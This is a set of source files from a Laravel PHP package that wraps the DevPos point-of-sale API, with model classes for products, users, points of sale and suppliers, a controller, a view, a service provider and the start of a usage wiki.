* Default we will cache list() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::tcr()->setCacheKey('key')->list();
*/
class ProductCategory extends Model {
public function __construct() {
parent::__construct();
}
//list all tcr saved on devpos
public function get() {
return $this->httpGet('/api/v3/ProductCategory');
}
public function create($parameters = []) {
/**
*
* Example:
* {
code: "1"
id: 133
name: "KOZMETIKE"
}
*/
//validate first
$validation = Validator::make($parameters, [
"name" => "required|string|max:60",
"code" => "required|string|max:60",
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
return $this->post('/api/v3/ProductCategory', $parameters);
}
public function show($id) {
return $this->httpGet('/api/v3/ProductCategory/'. $id);
}
//update pos on devpos
public function update($id, $parameters = []) {
//validate first
$validation = Validator::make($parameters, [
"id" => "required|numeric",
"name" => "required|string|max:60",
"code" => "required|string|max:60",
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//fix registrationDate
$parameters['registrationDate'] = date("c", strtotime($parameters['registrationDate']));
return $this->put('/api/v3/ProductCategory/'. $id, $parameters);
}
//delete pos on devpos
public function destroy($id) {
return $this->delete('/api/v3/ProductCategory/'. $id);
}
}<file_sep>@extends('layouts.keen.template')
@section('subheader-buttons')
<div class="k-subheader__toolbar">
<div class="k-subheader__wrapper">
<a href="javascript:void(0);" class="btn btn-label btn-label-brand btn-bold" title="Edit" data-placement="top" onClick="DevPos.ProductGroup.create();">
<i class="fa fa-plus"></i> <span class="d-none d-md-inline"> {{ __('Group') }}</span>
</a>
</div>
</div>
@endsection
@section('content')
<!-- begin:: Content -->
<div class="k-content k-grid__item k-grid__item--fluid" id="k_content">
<div class="row">
<div class="col-md-10 float-left reportAndListing order-xs-2 order-md-1" id="reportAndListing" style="overflow-x: hidden;">
<div class="k-portlet k-portlet--mobile">
<div class="k-portlet__head k-portlet__head--lg">
<div class="k-portlet__head-label">
<h3 class="k-portlet__head-title">
{{ __('Product Groups') }}
<small></small>
</h3>
</div>
</div>
<div class="k-portlet__body k-portlet__body--fit">
<!--begin: Datatable -->
<div class="k_datatable" id="api_events"></div>
<!--end: Datatable -->
</div>
</div>
</div>
<!-- start:: Sidebar -->
<div class="col-md-2 float-left order-xs-1 order-sm-1 order-md-2">
<!-- start:: Filter -->
<div class="w-100 float-left">
<div class="k-portlet k-portlet--mobile" id="quickSearchPortlet">
<div class="k-portlet__head k-portlet__head--lg">
<div class="k-portlet__head-label">
<h3 class="k-portlet__head-title">
{{ __('Filter') }}
</h3>
</div>
</div>
<div class="k-portlet__body">
<div class="row" id="filterForm" data-filter-itemType="tcrs">
<form name="filter" class="col-12" onsubmit="event.preventDefault();DevPos.ProductGroup.load();">
<div class="form-group">
<label class="">{{ __('Name') }}</label>
<input class="form-control" name="name" type="text" placeholder="Search by name">
</div>
<div class="form-group">
<label class="">{{ __('Created at') }}</label>
<div class="input-daterange input-group" id="k_datepicker_5">
<input type="text" class="form-control " name="created_min" placeholder="{{ __('Min date') }} ...">
<div class="input-group-append">
<span class="input-group-text"><i class="la la-ellipsis-h"></i></span>
</div>
<input type="text" class="form-control" name="created_max" placeholder="{{ __('Max date') }} ...">
</div>
<span class="form-text text-muted">{{ __('Enter min and max date range') }}</span>
</div>
<div class="k-input-icon k-input-icon--left">
<input type="submit" class="btn btn-primary btn-sm w-100" name="name" value="{{ __('Filter') }}">
</div>
</form>
</div>
<div class="row" id="quickSearch" data-filter-itemType="receptions">
</div>
</div>
</div>
</div>
<!-- end:: Filter -->
</div>
<!-- end:: Sidebar -->
</div>
</div>
<!-- end:: Content -->
@endsection
@section('js-local')
<script src="{{asset('ermirshehaj/devpos/js/devpos.js')}}"></script>
<script src="{{asset('ermirshehaj/devpos/js/templates.js')}}"></script>
<script>
//put all tcrs to cache
Cache.put('product-groups', @php echo json_encode($items) @endphp);
Cache.put('devpos_access_token', '{{Cache::get('devpos.access_token')}}' );
let choosedTCR = '{{Session::get('tcr_code')}}';
$(document).ready(function(){
DevPos.ProductGroup.load();
});
</script>
@endsection<file_sep><?php
namespace ErmirShehaj\DevPos\Http\Controllers;
use Illuminate\Routing\Controller;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Cache;
use ErmirShehaj\DevPos\Facades\DevPos;
use App\Http\Requests\PosRequest;
use \App\Models\Pos;
use DateTime;
class CustomerController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index() {
//authorize first
//$this->authorize('menu', Pos::class);
//get warehouse from devpos
$items = DevPos::customer()->cache()->get();
// //get supplierList from devpos
$idTypes = DevPos::enum()->getIdTypes();
$countries = DevPos::enum()->getCountries();
return view('devpos::customers', [
'title' => __('Customers'),
'breadcrumb' => [
__('Customers') => route('devpos.customers.index')
],
'menu' => 'devpos.customers',
'items' => $items,
'idTypes' => $idTypes,
'countries' => $countries,
]);
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request) {
//authorize first
//$this->authorize('create', Pos::class);
try {
$item = DevPos::customer()->create($request->all());
}
catch(\Illuminate\Validation\ValidationException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $request->all(),
];
}
catch(\Illuminate\Http\Client\RequestException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $parameters
];
}
catch(\Symfony\Component\HttpKernel\Exception\HttpException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $parameters
];
}
catch(\Illuminate\Auth\AuthenticationException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Authentication' => 'Unauthorized 401',
'Data' => $parameters
];
}
catch(\Exception $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $parameters
];
}
return response()->json([
'Status' => 'OK',
'Data' => $item,
]);
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
//
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id) {
try {
//update supplier on devpos
$item = DevPos::customer()->update($id, $request->all());
}
catch(\Illuminate\Http\Client\RequestException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage()
];
}
return response()->json([
'Status' => 'OK',
'DevPos' => ['updated' => $item],
'Data' => ['updated' => $updated]
]);
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//authorize action
//$this->authorize('delete', Pos::class);
try {
//delete supplier on devpos
$item = DevPos::customer()->destroy($id);
}
catch(\Illuminate\Http\Client\RequestException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage()
];
}
return response()->json([
'Status' => 'OK',
'DevPos' => $item,
'Data' => $deleted,
'Msg' => $deleted == 0 ? 'Customer deleted successfully':'Customer didn\'t deleted successfully!'
]);
}
}
<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Classes\Model;
/**
* Cache:
* $tcr->cache()->list(); //list all tcr and cache them
* $tcr->cache()->onFailCached()->list();
*/
/**
* User - is the class that will contain all methods for tcr
* Default we will cache list() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::tcr()->setCacheKey('key')->list();
*/
class User extends Model {
public function __construct() {
parent::__construct();
}
//list all tcr saved on devpos
public function get() {
return $this->httpGet('/api/v3/Account/users');
}
public function create($parameters = []) {
/**
* user object example:
{
"id": null,
"userName" => "Endri",
"fullName" => "<NAME>",
"email" => "<EMAIL>",
"newPassword" => "<PASSWORD>",
"newPasswordConfirm" => "<PASSWORD>",
"roles": [
"shites"
],
"jobTitle" => "Recepsionist",
"city" => "Tirane",
"address" => "Farmacia nr 10",
"phoneNumber" => "068547123",
"configuration" => "",
"isEnabled": true,
"operatorCode" => "0145",
"pointsOfSaleId": 30,
"supplierNuisList": [],
"saleLimit": 50
}
*/
//validate first
$validation = Validator::make($parameters, [
"id" => 'nullable',
"userName" => "required|max:40",
"fullName" => "required|max:60",
"email" => "required|email|max:40",
"newPassword" => "<PASSWORD>|between:6,40",
"newPasswordConfirm" => "<PASSWORD>:new<PASSWORD>|same:new<PASSWORD>",
"roles" => "nullable|array",
"jobTitle" => "nullable|string|max:60",
"city" => "nullable|string|max:60",
"address" => "nullable|string|max:60",
"phoneNumber" => "nullable|string|max:30",
"configuration" => "nullable|string|max:60",
"isEnabled" => "nullable|in:0,1",
"isLockedOut" => "nullable|in:0,1",
"operatorCode" => "nullable|string|max:30",
"pointsOfSaleId" => "required|numeric",
"supplierNuisList" => "nullable|array",
"saleLimit" => "nullable|numeric",
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//remove id from parameters
unset($parameters['id']);
$parameters['pointsOfSaleId'] = (int)$parameters['pointsOfSaleId'];
$parameters['supplierNuisList'] = (array)$parameters['supplierNuisList'];
$parameters['isEnabled'] = boolval((int)$parameters['isEnabled']);
$parameters['isLockedOut'] = boolval((int)$parameters['isLockedOut'] ?? 0);
//add taxPayerId
//$parameters['taxPayerId'] = 1;
//add taxPayerId
$me = $this->me();
$parameters['taxPayerId'] = $me['taxPayerId'];
return $this->post('/api/v3/Account/users', $parameters);
}
public function show($id) {
return $this->httpGet('/api/v3/Account/users/'. $id);
}
//show my account
public function me() {
return $this->show('me');
//return $this->httpGet('/api/v3/Account/users/me');
}
//update pos on devpos
public function update($id, $parameters = []) {
//validate first
$validation = Validator::make($parameters, [
"id" => 'nullable',
"userName" => "required|max:40",
"fullName" => "required|max:60",
"email" => "required|email|max:40",
"newPassword" => "<PASSWORD>|string|between:6,40",
"newPasswordConfirm" => "required_with:newPassword|same:newPassword",
"roles" => "nullable|array",
"jobTitle" => "nullable|string|max:60",
"city" => "nullable|string|max:60",
"address" => "nullable|string|max:60",
"phoneNumber" => "nullable|string|max:30",
"configuration" => "nullable|string|max:60",
"isEnabled" => "nullable|in:0,1",
"isLockedOut" => "nullable|in:0,1",
"operatorCode" => "nullable|string|max:30",
"pointsOfSaleId" => "required|numeric",
"supplierNuisList" => "nullable|array",
"saleLimit" => "nullable|numeric",
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//remove id from parameters
unset($parameters['id']);
$parameters['pointsOfSaleId'] = (int)$parameters['pointsOfSaleId'];
$parameters['supplierNuisList'] = (array)$parameters['supplierNuisList'];
$parameters['isEnabled'] = boolval((int)$parameters['isEnabled']);
$parameters['isLockedOut'] = boolval((int)$parameters['isLockedOut'] ?? 0);
//add taxPayerId
//$parameters['taxPayerId'] = 1;
//add taxPayerId
$me = $this->me();
$parameters['taxPayerId'] = $me['taxPayerId'];
return $this->put('/api/v3/Account/users/'. $id, $parameters);
}
//delete pos on devpos
public function destroy($id) {
return $this->delete('/api/v3/Account/users/'. $id);
}
}<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Classes\Model;
/**
* Cache:
* $tcr->cache()->list(); //list all tcr and cache them
* $tcr->cache()->onFailCached()->list();
*/
/**
* POS - is the class that will contain all methods for tcr
* Default we will cache list() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::tcr()->setCacheKey('key')->list();
*/
class POS extends Model {
public function __construct() {
parent::__construct();
}
//list all tcr saved on devpos
public function get() {
return $this->httpGet('/api/v3/PointsOfSale');
}
public function create($parameters = []) {
//validate first
$validation = Validator::make($parameters, [
'code' => 'required|max:40',
'businessUnitCode' => 'required|max:40',
'registrationDate' => 'date',
'latitude' => 'nullable|max:40',
'longitude' => 'nullable|max:40',
'address' => 'required|max:120',
'city' => 'required|max:120',
'description' => 'nullable|max:250',
]);
if ($validation->fails()) {
return [
'Status' => 'error',
'Errors' => $validation->errors()
];
}
return $this->post('/api/v3/PointsOfSale', $parameters);
}
public function show($id) {
return $this->httpGet('/api/v3/PointsOfSale/'. $id);
}
//update pos on devpos
public function update($id, $parameters = []) {
//validate first
$validation = Validator::make($parameters, [
'code' => 'required|max:40',
'businessUnitCode' => 'required|max:40',
'registrationDate' => 'required|date',
'latitude' => 'nullable|max:40',
'longitude' => 'nullable|max:40',
'address' => 'required|max:120',
'city' => 'required|max:120',
'description' => 'nullable|max:250',
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//fix registrationDate
$parameters['registrationDate'] = date("c", strtotime($parameters['registrationDate']));
return $this->put('/api/v3/PointsOfSale/'. $id, $parameters);
}
//delete pos on devpos
public function destroy($id) {
return $this->delete('/api/v3/PointsOfSale/'. $id);
}
}<file_sep><?php
namespace ErmirShehaj\DevPos;
use Illuminate\Support\ServiceProvider;
use Illuminate\Support\Facades\Route;
include_once(__DIR__.'/helpers.php');
class DevPosServiceProvider extends ServiceProvider {
//to publish devpos.php configuration you have to run the cvommand below:
//php artisan vendor:publish --provider="ErmirShehaj\DevPos\DevPosServiceProvider" --tag="config"
//publish all configurations
//php artisan vendor:publish --tag=config //publish configurations
//publish all things
//just php artisan vendor:publish
public function boot() {
// $this->publishes([
// __DIR__.'/../config/config.php' => config_path('devpos.php'),
// ]);
if ($this->app->runningInConsole()) {
$this->publishes([
__DIR__.'/../config/config.php' => config_path('devpos.php'),
], 'config');
}
//routes
//$this->loadRoutesFrom(__DIR__.'/../routes/web.php');
$this->registerRoutes();
//views
$this->loadViewsFrom(__DIR__.'/../resources/views', 'devpos');
}
protected function registerRoutes() {
Route::group($this->routeConfiguration(), function () {
$this->loadRoutesFrom(__DIR__.'/../routes/web.php');
});
}
protected function routeConfiguration() {
return [
'prefix' => config('devpos.route_prefix'),
'middleware' => config('devpos.middleware'),
];
}
public function register() {
$this->app->bind('devpos', function($app) {
return new DevPos();
});
}
}<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Classes\Model;
/**
* Cache:
* $tcr->cache()->list(); //list all tcr and cache them
* $tcr->cache()->onFailCached()->list();
*/
/**
* Product - is the class that will contain all methods for tcr
* Default we will cache list() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::tcr()->setCacheKey('key')->list();
*/
class Product extends Model {
public function __construct() {
parent::__construct();
// //we will use 'pos' as cache key for TCR.|||| Dont forget that we use prefix: devpos
// $this->setCache(true);
// $this->setCacheKey('products');
}
//list all tcr saved on devpos
public function get() {
return $this->httpGet('/api/v3/Product');
}
public function create($parameters = []) {
/**
*
* Example:
* {
"id": 32053,
"name" => "Cigare",
"barcode" => "123",
"unitPrice": 0,
"buyingPrice": 0,
"rebatePrice": 0,
"isRebateReducingBasePrice": false,
"vatRate": 0,
"consumptionTaxRate": 0,
"rowVersion" => "2021-10-25T12:28:57.185079",
"productCategoryName" => "Produkte",
"productCategoryId": 125,
"unitName" => "cope",
"unitId": 165,
"productCost": 0,
"profitMargin": 0,
"minQuantity": 0,
"isSealable": true,
"affectsWarehouse": true,
"productType": 0,
"amount": 0,
"refund": 0
}
*/
//validate first
$validation = Validator::make($parameters, [
"name" => "required|string|max:60",
"barcode" => "required|string|max:60",
"unitPrice" => "required|numeric",
"buyingPrice" => "required|numeric",
"rebatePrice" => "nullabe|numeric",
"isRebateReducingBasePrice" => "nullable|in:0,1",
"vatRate" => "required|numeric",
"consumptionTaxRate" => "required|numeric",
"rowVersion" => "2021-10-25T12:28:57.185079",
"productCategoryName" => "Produkte",
"productCategoryId" => "required|numeric",
"unitName" => "cope",
"unitId" => "required|numeric",
"productCost" => "required|numeric",
"profitMargin" => "required|numeric",
"minQuantity" => "required|numeric",
"entryUnitId" => "sometimes|required_if:isDifFromBaseUnit,1|numeric",
"entryUnitRatio" => "sometimes|required_if:isDifFromBaseUnit,1|numeric",
"isSealable" => "required|in:0,1",
"affectsWarehouse" => "required|in:0,1",
"productType" => "nullable|numeric",
"amount" => "nullable|numeric",
"refund" => "nullable|numeric",
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//fix registrationDate
//$parameters['registrationDate'] = date("c", strtotime($parameters['registrationDate']));
$parameters['affectsWarehouse'] = boolval($parameters['affectsWarehouse']);
$parameters['isSealable'] = boolval($parameters['isSealable']);
$parameters['isRebateReducingBasePrice'] = boolval($parameters['isRebateReducingBasePrice'] ?? '0');
$parameters['refund'] = $parameters['refund'] ?? 0;
$parameters['productType'] = $parameters['productType'] ?? 0;
return $this->post('/api/v3/Product', $parameters);
}
public function show($id) {
return $this->httpGet('/api/v3/Product/'. $id);
}
//update pos on devpos
public function update($id, $parameters = []) {
//validate first
$validation = Validator::make($parameters, [
"id" => "required|numeric",
"name" => "required|string|max:60",
"barcode" => "required|string|max:60",
"unitPrice" => "required|numeric",
"buyingPrice" => "required|numeric",
"rebatePrice" => "nullabe|numeric",
"isRebateReducingBasePrice" => "nullable|in:0,1",
"vatRate" => "required|numeric",
"consumptionTaxRate" => "required|numeric",
"rowVersion" => "2021-10-25T12:28:57.185079",
"productCategoryName" => "Produkte",
"productCategoryId" => "required|numeric",
"unitName" => "cope",
"unitId" => "required|numeric",
"productCost" => "required|numeric",
"profitMargin" => "required|numeric",
"minQuantity" => "required|numeric",
"entryUnitId" => "sometimes|required_if:isDifFromBaseUnit,1|numeric",
"entryUnitRatio" => "sometimes|required_if:isDifFromBaseUnit,1|numeric",
"isSealable" => "required|in:0,1",
"affectsWarehouse" => "required|in:0,1",
"productType" => "nullable|numeric",
"amount" => "nullable|numeric",
"refund" => "nullable|numeric",
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//fix registrationDate
//$parameters['registrationDate'] = date("c", strtotime($parameters['registrationDate']));
$parameters['affectsWarehouse'] = boolval($parameters['affectsWarehouse']);
$parameters['isSealable'] = boolval($parameters['isSealable']);
$parameters['isRebateReducingBasePrice'] = boolval($parameters['isRebateReducingBasePrice'] ?? '0');
$parameters['refund'] = $parameters['refund'] ?? 0;
$parameters['productType'] = $parameters['productType'] ?? 0;
return $this->put('/api/v3/Product/'. $id, $parameters);
}
//delete pos on devpos
public function destroy($id) {
return $this->delete('/api/v3/Product/'. $id);
}
}<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Classes\Model;
/**
* Cache:
* $tcr->cache()->list(); //list all tcr and cache them
* $tcr->cache()->onFailCached()->list();
*/
/**
* SupplierList - is the class that will contain all methods for tcr
* Default we will cache list() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::supplier()->setCacheKey('key')->list();
*/
class SupplierList extends Model {
public function __construct() {
parent::__construct();
}
//list all tcr saved on devpos
public function get() {
return $this->httpGet('/api/v3/SupplierLists');
}
public function create($parameters = []) {
//validate first
$validation = Validator::make($parameters, [
'nuisList' => 'required|max:100',
'name' => 'required|max:40',
'description' => 'required|max:250',
]);
if ($validation->fails()) {
return [
'Status' => 'error',
'Errors' => $validation->errors()
];
}
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
return $this->post('/api/v3/SupplierLists', $parameters);
}
public function show($id) {
return $this->httpGet('/api/v3/SupplierLists/'. $id);
}
//update pos on devpos
public function update($id, $parameters = []) {
//validate first
$validation = Validator::make($parameters, [
'id' => 'required|numeric',
'nuisList' => 'required|max:100',
'name' => 'required|max:40',
'description' => 'required|max:250',
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
return $this->put('/api/v3/SupplierLists/'. $id, $parameters);
}
//delete pos on devpos
public function destroy($id) {
return $this->delete('/api/v3/SupplierLists/'. $id);
}
}<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Cookie;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use ErmirShehaj\DevPos\Facades\DevPos;
abstract class Model {
protected $endPointBase = 'https://online.devpos.al';
protected $endPoint = 'https://online.devpos.al/api/v3';
protected $tokenEndPoint = 'https://online.devpos.al/connect/token';
protected $path;
protected $timeout = 30;
/**
* Configurations
* Later we will create devpos.config with some configurations for default behaviour.
*/
//protected $cache_everything = false; //to cache or not the list actions
protected $cache = false;
protected $cache_key; //the key we will cache data.If empty => it will use the request url
protected $cache_prefix;
protected $cache_timeout = 100;
protected $bypass_cache = false; //if we have data in cache => it mean we will read from it => st bypass_cache to false to bypass it and read directly from source.
protected $on_fail_cached = false; //if we can't get/fetch data from devpos then we will serve our cache data.
protected $callback = null; //function($obj, $response) {}; //run this function after post/put/delete/get/download etc
public function __construct() {
//load config data
$this->setEndPointBase(config('devpos.endPointBase'));
$this->setEndPoint(config('devpos.endPoint'));
//cache settings from config.php
$this->setCache(config('devpos.cache'));
$this->setCachePrefix(config('devpos.cache_prefix'));
$this->setCacheTimeout(config('devpos.cache_timeout'));
}
abstract public function get();
abstract public function create($parameters = []);
abstract public function update($id, $parameters = []);
abstract public function destroy($id);
public function setEndPoint($url) {
$this->endPoint = $url;
return $this;
}
public function getEndPoint() {
return $this->endPoint;
}
public function setEndPointBase($url) {
$this->endPointBase = $url;
return $this;
}
public function getEndPointBase($relativePath = null) {
return $this->endPointBase . $relativePath;
}
public function setPath($path) {
$this->path = $path;
return $this;
}
public function getPath() { // e.g: /api/v3/Customer
return $this->path;
}
public function getAbsolutePath($path = null) { // e.g: https://online.devpos.al/api/v3/Customer
$path = $path ?? $this->getPath();
if (empty(parse_url($path, PHP_URL_HOST))) {
$path = $this->getEndPointBase($path);
}
return $path;
}
public function setTimeout($timeout) {
$this->timeout = $timeout;
return $this;
}
public function getTimeout() {
return $this->timeout;
}
/**
* Cache getters and setters
* @setCacheEverything - boolean - set it true/false if this class will cache data or not by default
* @getCacheKey - string - will return absolute key(prefix + key)
*/
public function setCacheEverything($boolean = true) {
$this->cache_everything = $boolean;
return $this;
}
public function getCacheEverything() {
return $this->cache_everything;
}
public function setCache($boolean = true) {
$this->cache = $boolean;
return $this;
}
//cache: boolean
public function getCache() {
return $this->cache;
}
public function cache() {
$this->setCache(true);
return $this;
}
public function noCache() {
$this->setCache(false);
return $this;
}
public function mustCacheData() {
return $this->cache;
}
public function setBypassCache($boolean) {
$this->bypass_cache = $boolean;
return $this;
}
public function bypassCache() { //helper for setBypassCache(true);
$this->setBypassCache(true);
return $this;
}
public function getBypassCache() {
return $this->bypass_cache;
}
public function onFailCached($boolean = true) {
$this->on_fail_cached = $boolean;
}
public function setCacheKey($key = true) {
$this->cache_key = $key;
return $this;
}
public function getCacheKey() { //return key or md5(absolute path)
return $this->cache_key ?? md5($this->getAbsolutePath());
}
public function getCacheKeyWithPrefix($key = null) { //if $key is mostly used on custom need like when we delete specifc/custom url from cache
return ($this->getCachePrefix() ? $this->getCachePrefix() .'.':'') . ($key ?? $this->getCacheKey());
}
public function setCachePrefix($key = true) {
$this->cache_prefix = $key;
return $this;
}
public function getCachePrefix() {
return $this->cache_prefix;
}
//is same as getCacheKeyWithPrefix but if we provide a $key => it will append it
public function getCachePath($key = null) {
return $this->getCacheKeyWithPrefix() . $key;
}
public function setCacheTimeout($time = true) {
$this->cache_timeout = $time;
return $this;
}
public function getCacheTimeout() {
return $this->cache_timeout;
}
public function setCallback($fn) {
$this->callback = $fn;
return $this;
}
public function getCallback() {
return $this->callback;
}
public function callback($fn) {
return $this->setCallback($fn);
}
/**
* Cache operations: put, get, forget
*
*
*/
/**
* putCache - will store cache data
* @param $key - string - is the relative key we want to save data.It will transform it to prefix + key.
*/
protected function writeCache($val = null) {
//echo 'we are putting on: '. $key;
//lets get the key we will store
$key = $this->getCacheKeyWithPrefix();
//echo 'We are putting in the cache with key: '. $key;
file_put_contents(dirname(__FILE__) .'/cache_logs.txt', $this->getAbsolutePath() .': '. $key . "\n", FILE_APPEND);
Cache::put($key, $val, $this->getCacheTimeout());
return $this;
}
protected function readCache($key) {
return Cache::get($key);
}
protected function existsCache($key) {
return Cache::has($key);
}
protected function forgetCache($key) {
return Cache::forget($key);
}
protected function clearCacheByPath($path) {
$key = md5($this->getAbsolutePath($path));
if ($this->existsCache($this->getCacheKeyWithPrefix($key))) {
$this->forgetCache($this->getCacheKeyWithPrefix($key));
}
}
/**
* Http methods: post, put, delete, get
* In fact we need the 'get' method for the model and not for the Http request.
* So we will replace it with: httpGet($path);
*/
protected function post($path, $parameters = []) {
return $this->setPath($path)->call('post', $parameters);
}
protected function put($path, $parameters = []) {
return $this->setPath($path)->call('put', $parameters);
}
protected function delete($path) {
return $this->setPath($path)->call('delete');
}
protected function httpGet($path) {
return $this->setPath($path)->call('get', []);
}
// protected function get($path) {
// return $this->setPath($path)->call('get', []);
// }
protected function download($path) {
return $this->setPath($path)->call('download', []);
}
protected function call($action, $parameters = []) {
/**
* $path - we can pass as absolute url or a relative one
* if it is relative => we will transform it to an absolute one.
*/
//always check for token bc it is mandatory
if (empty(DevPos::getToken())) {
//load it from cache
// if (!empty(session()->get('devpos.access_token')))
// DevPos::setToken(session()->get('devpos.access_token'));
if (!empty(Cache::get('devpos.access_token')))
DevPos::setToken(Cache::get('devpos.access_token'));
else {
//echo 'authorize first, then go!';
//we must load it from authorizing
DevPos::authorize();
}
}
//get path
$path = $this->getAbsolutePath();
if ($action == 'post') {
$response = Http::withToken(DevPos::getToken())->timeout($this->getTimeout())->post($path, $parameters);
//we clear cache if there exists one
//we clear cache if there exists one
if (strpos($path, 'TCRBalance') > 0) {
$directory = $path;
}
else {
$directory = pathinfo($path, PATHINFO_DIRNAME); //path without: /id
}
$key = md5($directory);
if ($this->existsCache($this->getCacheKeyWithPrefix($key))) {
$this->forgetCache($this->getCacheKeyWithPrefix($key));
}
if ($response->status() == 201) {
//latesly we runthe callback
$this->callback($this, $response->json());
return $response->json();
}
elseif ($response->status() == 500) {
return ['response' => $response->getBody()->getContents(), 'parameters' => $parameters];
}
}
else if($action == 'put') {
$response = Http::withToken(DevPos::getToken())->timeout($this->getTimeout())->put($path, $parameters);
//we clear cache if there exists one
$directory = pathinfo($path, PATHINFO_DIRNAME); //path without: /id
$key = md5($directory);
if ($this->existsCache($this->getCacheKeyWithPrefix($key))) {
$this->forgetCache($this->getCacheKeyWithPrefix($key));
}
if ($response->status() == 200)
return $response->json();
}
else if($action == 'delete') {
$response = Http::withToken(DevPos::getToken())->delete($path, $parameters);
//we clear cache if there exists one
$directory = pathinfo($path, PATHINFO_DIRNAME); //path without: /id
$key = md5($directory);
if ($this->existsCache($this->getCacheKeyWithPrefix($key))) {
$this->forgetCache($this->getCacheKeyWithPrefix($key));
}
}
elseif ($action == 'get') {
//before we run http request to our api endpoint, we check if we have them on cache
if (!$this->getBypassCache() && $this->existsCache($this->getCacheKeyWithPrefix())) {
//echo $this->getCachePrefix();
//echo 'We are reading from cache on key: '. $this->getCacheKeyWithPrefix();
return $this->readCache($this->getCacheKeyWithPrefix());
}
//return $path;
$response = Http::withToken(DevPos::getToken())->timeout($this->getTimeout())->get($path);
}
elseif ($action == 'download') {
$response = Http::withToken(DevPos::getToken())->timeout($this->getTimeout())->get($path);
return $response->getBody()->getContents();
}
// Determine if the response has a 500 level status code...\
if ($response->serverError() || $response->clientError()) {
if ($response->status() == 401) {
//print_r($response->headers());
throw new \Symfony\Component\HttpKernel\Exception\UnauthorizedHttpException($response->headers()['WWW-Authenticate'][0]);
}
throw new \Illuminate\Http\Client\RequestException($response);
}
/**
* Caching results
*/
if ($action == 'get' && $response->status() == 200 && $this->mustCacheData()) {
//echo 'putting in cache: '. $this->getCachePath();
$this->writeCache($response->json());
}
return $response->json();
}
}<file_sep>Welcome to the devpos wiki!
This is a full package which it can be integrated at any laravel(version >= 6) project.
It come with a facade `DevPos`, models, controllers, views and resources.
First we will cover the facade `DevPos` which is the heart of this package.
Facade make this package acts as a proxy between you and devpos system.
You are free to use it without controllers or views, or if you just need to run some simple operations againsts devpos system.
## AccompanyingInvoice
Methods available are:
- list() //to get all invoices
- create() //to create one
- show($id) //to get only one
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all accompanying invoices
DevPos::accompanyingInvoice()->list(); //where ::accompanyingInvoice() serve as a factory method which will produce and return an AccompanyingInvoice object
//to show/get one
DevPos::accompanyingInvoice()->show($id)
//update and delete actions are not available
## Account
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all account
DevPos::account()->list();
//create
DevPos::account()->create($parameters)
//show/get one
DevPos::account()->show($id)
//update
DevPos::account()->update($id, parameters)
//delete
DevPos::account()->destroy($id)
## Branch
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all branch
DevPos::branch()->list();
//create
DevPos::branch()->create($parameters)
//show/get one
DevPos::branch()->show($id)
//update
DevPos::branch()->update($id, parameters)
//delete
DevPos::branch()->destroy($id)
## Carrier
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all carrier
